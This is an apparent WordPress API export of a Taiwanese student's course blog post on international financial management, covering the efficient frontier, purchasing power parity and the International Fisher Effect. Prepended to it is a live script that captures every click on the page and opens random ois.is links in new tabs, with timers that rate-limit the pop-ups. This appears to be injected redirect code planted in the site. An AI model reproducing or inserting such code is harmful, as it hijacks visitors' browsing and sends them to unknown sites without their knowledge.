<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":923,"date":"2023-02-16T16:17:59","date_gmt":"2023-02-16T08:17:59","guid":{"rendered":"https:\/\/edu.secda.info\/scu8154133\/?p=923"},"modified":"2023-03-08T21:54:26","modified_gmt":"2023-03-08T13:54:26","slug":"%e7%ac%ac%e4%b8%80%e9%80%b1%e4%b8%8a%e8%aa%b2","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/scu8154133\/?p=923","title":{"rendered":"\u570b\u969b\u8ca1\u52d9\u7ba1\u7406-\u4f5c\u696d\u4e00"},"content":{"rendered":"<p>2\/16 \u4eca\u5929\u5b78\u6703\u5982\u4f55\u5f04\u5e73\u53f0\uff0c\u975e\u5e38\u5be6\u7528~<\/p>\n<p>\u5c0d\u9019\u5802\u8ab2\u7684\u671f\u8a31\uff1a<\/p>\n<p>\u9032\u5165\u5927\u5b78\u56db\u5e74\u7d1a\u4e0b\u5b78\u671f\uff0c\u6709\u5225\u65bc\u5176\u4ed6\u8ab2\u7a0b\u7684\u6559\u5b78\u65b9\u5f0f\uff0c\u6eab\u798f\u661f\u8001\u5e2b\u958b\u8a2d\u7684\u570b\u969b\u8ca1\u7ba1\u662f\u4ee5\u975e\u540c\u6b65\u9060\u8ddd\u7684\u65b9\u5f0f\u9032\u884c\uff0c\u9019\u6a23\u7684\u6559\u5b78\u65b9\u5f0f\u6709\u5f88\u5927\u7684\u5f48\u6027\uff0c\u4f46\u5c0d\u65bc\u5b78\u751f\u800c\u8a00\uff0c\u5982\u4f55\u5c07\u6642\u9593\u59a5\u5584\u5206\u914d\u5728\u5b78\u7fd2\u4e0a\u662f\u4e00\u500b\u6311\u6230\u3002\u56e0\u6b64\u6211\u671f\u8a31\u6211\u81ea\u5df1\u80fd\u5728\u9019\u5802\u8ab2\u4e2d\uff0c\u5b78\u7fd2\u5230\u5b8c\u6574\u4e14\u5be6\u7528\u7684\u570b\u969b\u8ca1\u7ba1\u77e5\u8b58\uff0c\u4e26\u80fd\u5c07\u6240\u5b78\u61c9\u7528\u5230\u672a\u4f86\u8077\u5834\u4e0a\uff01<\/p>\n<p><img loading=\"lazy\" class=\"wp-image-5146 entered lazyloaded aligncenter\" src=\"https:\/\/winsmart.tw\/wp-content\/uploads\/2021\/08\/%E5%A4%96%E5%8C%AF%E4%BA%A4%E6%98%932.jpg\" sizes=\"(max-width: 790px) 100vw, 790px\" srcset=\"https:\/\/winsmart.tw\/wp-content\/uploads\/2021\/08\/%E5%A4%96%E5%8C%AF%E4%BA%A4%E6%98%932.jpg 790w, https:\/\/winsmart.tw\/wp-content\/uploads\/2021\/08\/%E5%A4%96%E5%8C%AF%E4%BA%A4%E6%98%932-300x157.jpg 300w, https:\/\/winsmart.tw\/wp-content\/uploads\/2021\/08\/%E5%A4%96%E5%8C%AF%E4%BA%A4%E6%98%932-768x401.jpg 768w, https:\/\/winsmart.tw\/wp-content\/uploads\/2021\/08\/%E5%A4%96%E5%8C%AF%E4%BA%A4%E6%98%932-600x314.jpg 600w\" alt=\"\" width=\"754\" height=\"394\" data-lazy-srcset=\"https:\/\/winsmart.tw\/wp-content\/uploads\/2021\/08\/\u5916\u532f\u4ea4\u66132.jpg 790w, https:\/\/winsmart.tw\/wp-content\/uploads\/2021\/08\/\u5916\u532f\u4ea4\u66132-300x157.jpg 300w, https:\/\/winsmart.tw\/wp-content\/uploads\/2021\/08\/\u5916\u532f\u4ea4\u66132-768x401.jpg 768w, https:\/\/winsmart.tw\/wp-content\/uploads\/2021\/08\/\u5916\u532f\u4ea4\u66132-600x314.jpg 600w\" data-lazy-sizes=\"(max-width: 790px) 100vw, 790px\" data-lazy-src=\"https:\/\/winsmart.tw\/wp-content\/uploads\/2021\/08\/\u5916\u532f\u4ea4\u66132.jpg\" data-ll-status=\"loaded\" \/><\/p>\n<p>\u8cc7\u6599\u4f86\u6e90\uff1a<a href=\"https:\/\/winsmart.tw\/trading_knowledge\/%E5%A4%96%E5%8C%AF%E4%BA%A4%E6%98%93forex-trade\/\">https:\/\/winsmart.tw\/trading_knowledge\/%E5%A4%96%E5%8C%AF%E4%BA%A4%E6%98%93forex-trade\/<\/a><\/p>\n<p>&nbsp;<\/p>\n<p>\u570b\u969b\u8ca1\u7ba1\u76f8\u95dc\u5f71\u7247\uff08CAPM\uff09\uff1a<\/p>\n<p><iframe loading=\"lazy\" title=\"CAPM - What is the Capital Asset Pricing Model\" src=\"https:\/\/www.youtube.com\/embed\/-fCYZjNA7Ps\" width=\"750\" height=\"450\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe><\/p>\n<p>&nbsp;<\/p>\n<p>\u4e00\u3001\u6548\u7387\u524d\u7de3\uff08Efficient Frontier\uff09<\/p>\n<p>\u6839\u64da\u6548\u7387\u524d\u7de3\u66f2\u7dda\u7684\u5448\u73fe\uff0c\u6211\u5011\u53ef\u4ee5\u5f97\u77e5<strong><span class=\"has-inline-color has-luminous-vivid-orange-color\">\u5728\u4e0d\u540c\u7684\u6ce2\u52d5\u7a0b\u5ea6\u4e0b\uff0c\u6700\u6709\u6548\u7387\u7684\u6295\u8cc7\u7d44\u5408<\/span><\/strong>\uff0c\u4e5f\u5c31\u662f\u8aaa\u5728\u540c\u6a23\u7684\u6ce2\u52d5\u7a0b\u5ea6\uff0c\u53ef\u4ee5\u627e\u5230\u4e00\u7d44\u6295\u8cc7\u7d44\u5408\u5e36\u4f86\u6700\u4f73\u7684\u5831\u916c\u3002<\/p>\n<p><img loading=\"lazy\" class=\"aligncenter\" src=\"https:\/\/i.imgur.com\/WbMdo7L.png\" alt=\"Python\u8207\u6548\u7387\u524d\u7de3(Efficient Frontier)\" width=\"751\" height=\"423\" \/><\/p>\n<p>\u8cc7\u6599\u4f86\u6e90\uff1a<a href=\"https:\/\/pgfinnote.com\/efficient-frontier\/\">https:\/\/pgfinnote.com\/efficient-frontier\/<\/a><\/p>\n<p>&nbsp;<\/p>\n<p>\u4e8c\u3001\u7d55\u5c0d\u8cfc\u8cb7\u529b\u5e73\u50f9\u8aaa\uff08purchasing power parity\uff09<\/p>\n<p>\u5229\u7528\u540c\u5546\u54c1\u5728\u4e0d\u540c\u570b\u5bb6\u9593\uff0c\u8a08\u50f9\u4e4b\u8ca8\u5e63\u55ae\u4f4d\u4e0d\u540c\uff0c\u5be6\u8cea\u50f9\u503c\u537b\u76f8\u540c\u4e4b\u6027\u8cea\uff0c\u4e8c\u570b\u8ca8\u5e63\u514c\u63db\u532f\u7387\u5c07\u53d6\u6c7a\u65bc\u4e8c\u570b\u7269\u50f9\u7684\u6bd4\u503c\u3002<\/p>\n<p><img class=\"aligncenter\" src=\"https:\/\/saylordotorg.github.io\/text_international-finance-theory-and-policy\/section_09\/b14726419588ba5bbc2afc12be3111cc.jpg\" \/><\/p>\n<p>\u8cc7\u6599\u4f86\u6e90\uff1a<a href=\"https:\/\/saylordotorg.github.io\/text_international-finance-theory-and-policy\/s09-05-ppp-in-the-long-run.html\">https:\/\/saylordotorg.github.io\/text_international-finance-theory-and-policy\/s09-05-ppp-in-the-long-run.html<\/a><\/p>\n<p>&nbsp;<\/p>\n<p>\u4e09\u3001\u570b\u969b\u8cbb\u96ea\u6548\u679c\uff08International Fisher Effect\uff09<\/p>\n<p>\u5728\u4e00\u5b9a\u6642\u9593\u5167\u5373\u671f\u532f\u7387\u8207\u5169\u570b\u5229\u7387\u5dee\u7570\u5448\u73fe\u5927\u5c0f\u76f8\u7b49\u3001\u65b9\u5411\u76f8\u53cd\u7684\u8b8a\u5316\u3002<\/p>\n<p><img loading=\"lazy\" class=\"aligncenter size-full wp-image-15007 wp-image-style\" src=\"https:\/\/www.forextraders.com\/wp-content\/uploads\/2021\/12\/Fisher-effect-Graphic-Analysis-of-the-International-Fisher-Effect.png\" sizes=\"(max-width: 613px) 100vw, 613px\" srcset=\"https:\/\/www.forextraders.com\/wp-content\/uploads\/2021\/12\/Fisher-effect-Graphic-Analysis-of-the-International-Fisher-Effect.png 613w, https:\/\/www.forextraders.com\/wp-content\/uploads\/2021\/12\/Fisher-effect-Graphic-Analysis-of-the-International-Fisher-Effect-300x229.png 300w, https:\/\/www.forextraders.com\/wp-content\/uploads\/2021\/12\/Fisher-effect-Graphic-Analysis-of-the-International-Fisher-Effect-150x114.png 150w\" alt=\"Fisher effect - Graphic Analysis of the International Fisher Effect\" width=\"613\" height=\"467\" \/><\/p>\n<p>\u8cc7\u6599\u4f86\u6e90\uff1a<a href=\"https:\/\/www.forextraders.com\/forex-education\/forex-glossary\/what-is-the-fisher-effect\/\">https:\/\/www.forextraders.com\/forex-education\/forex-glossary\/what-is-the-fisher-effect\/<\/a><\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>2\/16 \u4eca\u5929\u5b78\u6703\u5982\u4f55\u5f04\u5e73\u53f0\uff0c\u975e\u5e38\u5be6\u7528~ \u5c0d\u9019\u5802\u8ab2\u7684\u671f\u8a31\uff1a \u9032\u5165\u5927\u5b78\u56db\u5e74\u7d1a\u4e0b\u5b78\u671f<\/p>\n","protected":false},"author":15,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/scu8154133\/index.php?rest_route=\/wp\/v2\/posts\/923"}],"collection":[{"href":"https:\/\/edu.secda.info\/scu8154133\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/scu8154133\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154133\/index.php?rest_route=\/wp\/v2\/users\/15"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154133\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=923"}],"version-history":[{"count":11,"href":"https:\/\/edu.secda.info\/scu8154133\/index.php?rest_route=\/wp\/v2\/posts\/923\/revisions"}],"predecessor-version":[{"id":962,"href":"https:\/\/edu.secda.info\/scu8154133\/index.php?rest_route=\/wp\/v2\/posts\/923\/revisions\/962"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/scu8154133\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=923"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154133\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=923"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154133\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=923"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}